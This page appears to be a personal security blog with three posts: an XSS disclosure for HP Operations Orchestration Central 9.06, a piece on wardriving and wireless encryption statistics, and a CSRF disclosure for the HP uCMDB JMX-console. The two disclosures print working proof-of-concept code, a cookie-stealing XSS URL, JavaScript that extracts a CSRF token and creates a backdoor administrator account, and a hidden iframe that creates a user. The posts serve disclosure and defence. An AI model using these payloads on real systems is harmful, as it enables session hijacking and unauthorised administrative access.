woensdag 18 december 2013

XSS in HP Operations Orchestration Central version 9.06 (CVE-2013-6191, CVE-2013-6192, SSRT101342)

Name: XSS in HP Operations Orchestration Central version 9.06
Systems Affected: HP Operations Orchestration version 9.06
Severity: High
Vendor: Hewlett-Packard
References: CVE-2013-6191, CVE-2013-6192, SSRT101342
Author: Bart Leppens
Date: 20130919

BACKGROUND

HP Operations Orchestration (HP OO) is a solution for automating IT tasks. HP Operations Orchestration Central is used to administrate this tool. The HP Operations Orchestration tool also has a webservice (SOAP-based) that allows you to have complete controle over HP OO.

DESCRIPTION

The HP Operations Orchestration Central application is vulnerable to XSS. Not only can we steal an administrators session cookie. We can use this XSS to extract the CSRF-token as well and this way we are able to remotely create supplementary (administrator) user accounts. Once this account is created it can be used (once again from the exterior) to send and recieve messages from the SOAP webservice.
All these examples have been tested with FF 24.0.

IT ALL STARTS WITH A XSS

https://x.x.x.x:8443/PAS/app%3F%3Cimg%20src=x%20onerror=alert%28document.cookie%29;%20/
It is clear that in this way you can easily steal session cookies, especially since the HTTPOnly-flag is not set for the session cookie. The attack can be very simple like tricking an administrator to visit a webpage that contains a hidden iFrame. The session can be hijacked and the attacker can administer the complete tool.

The XSS vulnerability can also be exploited from the exterior. An attacker can for example add a backdoor admin user, or manage flows. E.g. to add a supplementary user an attacker needs to extract the CSRF-token and and call the page to create a supplementary user account with preferably administrator rights. Since the attacker has control over the chosen password of his newly created user, these credentials can be used to call methods from the SOAP Webservice. This gives the attacker complete remote control from the exteriour over the orchestration tool.

Since for the PoC a bunch of javascript needs to be executed, we assume that the javascript file is hosted on a remote server and is appended to the DOM via XSS:
https://x.x.x.x:8443/PAS/app%3F

In this example x.x.x.x is the ip address of the HP OO Central application en y.y.y.y is the ip address of a server controled by the attacker.

Consider the javascript code in the next paragraph as a complete PoC. It extracts the CSRF-token, adds a new admin user and makes a SOAP call which relies on the newly created user.

PoC


var HPOO = "10.11.12.13:8443";
var csrfToken = "";
var userName = "newadmin";
var password = "adminadmin123";

function getCSRFToken()
{
var wsUrl = "https://"+HPOO+"/PAS/app?service=partial/0/UsersAdmin/UsersAdmin/addUserLink/EditUserDialogPart/DialogsStatePart";
var xmlhttp =  new XMLHttpRequest();
xmlhttp.open("GET", wsUrl, true);
xmlhttp.withCredentials = "true";
    xmlhttp.onreadystatechange  = function () {
        if (xmlhttp.readyState==4)
        {
            if (xmlhttp.status==200 || xmlhttp.status==0)
            {
                var rx = /hiddenUserList" value="([^"]*)/g;
                csrf = rx.exec(xmlhttp.responseText);
                csrfToken = csrf[1];
                createUser();
            }
        }
    }

    xmlhttp.send();
}

function createUser()
{
var wsUrl = "https://"+HPOO+"/PAS/app";
var xmlhttp =  new XMLHttpRequest();
var postData = "service=direct%2F1%2FUsersAdmin%2FEditUser.userForm&sp=S2&Form2=inputUserName%2CaccountInternal%2CchangePassword%2ChasPass%2CinputUserPass%2CinputVerifyPass%2CaccountEnabled%2CeditedUser%2ChiddenUserList%2CgroupSelector%2Cdefault%2Cnew%2Cedit&editedUser=X&hiddenUserList="+csrfToken+"&inputUserName="+userName+"&accountInternal=on&hasPass=on&inputUserPass="+password+"&inputVerifyPass="+password+"&accountEnabled=on&groupSelector=0&new=Create+User";
xmlhttp.open("POST", wsUrl, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.withCredentials = "true";
    xmlhttp.onreadystatechange  = function () {
        if (xmlhttp.readyState==4)
        {
            if (xmlhttp.status==200 || xmlhttp.status==0)
            {
                var rx = /hiddenUserList" value="([^"]*)/g;
                csrf = rx.exec(xmlhttp.responseText);
                csrfToken = csrf[1];
                sendSoapReq();
            }
        }
    }

    xmlhttp.send(postData);
}

function sendSoapReq()
{

    var wsUrl = "https://"+HPOO+"/PAS/services/WSAutomationFocusAPI";
    var soapRequest ='Library';
    var xmlhttp =  new XMLHttpRequest();

    xmlhttp.open("POST", wsUrl, true);
xmlhttp.setRequestHeader("Content-type","text/xml");
xmlhttp.setRequestHeader("Access-Control-Allow-Origin","*");
xmlhttp.setRequestHeader("SOAPAction","https://"+HPOO+"/PAS/services/WSAutomationFocusAPI");
xmlhttp.setRequestHeader("Authorization","Basic "+btoa(userName+":"+password));
xmlhttp.withCredentials = "true";
    xmlhttp.onreadystatechange  = function () {
        if (xmlhttp.readyState==4)
        {
            if (xmlhttp.status==200 || xmlhttp.status==0)
            {
                alert(xmlhttp.responseText);
            }
        }
    }

    xmlhttp.send(soapRequest);
}

getCSRFToken();

zondag 28 oktober 2012

Usage of different types of wireless encryption

There are no exact numbers known on the usage of encryption on wireless networks. I've found a recent report that describes how Sophos’ director of technology strategy James Lyne collected wireless information in London (a.k.a Wardriving). Actually it was Warbiking since he apperently drove through London by bike.
He found more than 1000 hotspots in London for every mile he drove. 25% of them had poor security. 9% of the access points he found have a SSID (Service Set IDentification) that was just a default value with no random element at all (e.g. default, linksys). The most interesting thing he discovered imho is that the situation in residential areas is often reasonable. However in streets with collections of small businesses the situation was worse. The report also states that often it is easy to identify at wich company a device belongs due to poor chosen SSID like 'Company X'. Access Points found at a coffeeshop often have no wireless protection scheme at all. The report advises us to only use them with a VPN- or SSH-tunnel if possible.
After some further research I've stumbled upon a very interesting project, that I've lost out of sight for some time, WiGLE (Wireless Geographic Logging Engine). WiGLE offers a Wigle Java Client and an Android application, that can be used to record WiFi-data while wardriving. This data is collected afterwards. Their webpage offers a page with statistics of their database. In 11 years time, almost 130.000 users have reported more then 77 milion unique wireless networks. With a population of 7 bilion persons that makes that for every 100 persons, their is one WiFi-network. In their stats we can see that 19.2% of the reported networks are encrypted with WEP and 25.9% have no encryption at all. But only 6.2% is reported with it's default SSID. Of course, the situation differs from 11 years ago, but two-third of all the networks in the database were added after 2010.
Comparing with the report from Mr Lyne it seems that the situation in london regarding wireless encryption is not as bad as it probably is in less populated regions. This might be “normal” as the impact of a vulnerable network in London will probably be much higher than an open wireless network in some deserted region.

vrijdag 5 oktober 2012

HP uCMDB JMX-console CSRF

Some time ago, 13 september 2012, I contacted the HP SSRT (Software Security Response Team) because I found some serious problem in one of their products: uCMDB 9.0x (Universal Configuration Management Database). The security towards this HP uCMDB is crucial for an enterprise, since it can contain very sensible data like names of persons, infrastructure information, ...
The product contains a JMX-Console that exposes direct access to the Managed Beans (MBeans). This JMX-Console that is a standard part of any uCMDB configuration is vulnerable to CSRF. I reported this since additional users can be created via this JMX-Console, even integration users. Also a lot of other functionality is accessible via this JMX-Console.
After sending them 8 e-mails, with references to their deployment guides and release notes they still ignore the problem and their conclusion is that it's due to an installation of JBoss-server on the uCMDB system. I have no other choice then to warn uCMDB system administrators.

PoC
You can easily verify it with an iframe:

<iframe src="http://ucmdbhostname:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=UCMDB:service=Security%20Services&methodName=createIntegrationUser&arg0=1&arg1=testaa&arg2=testbb&arg3="
width="0" height="0" ></iframe>

BeEF Module
A module for testing is available at BeEF project.

Advise
Finally, my advise towards uCMDB-administrators is to be extra careful when using the JMX-console. Make sure sessions are expired/invalidated before accessing other webpages.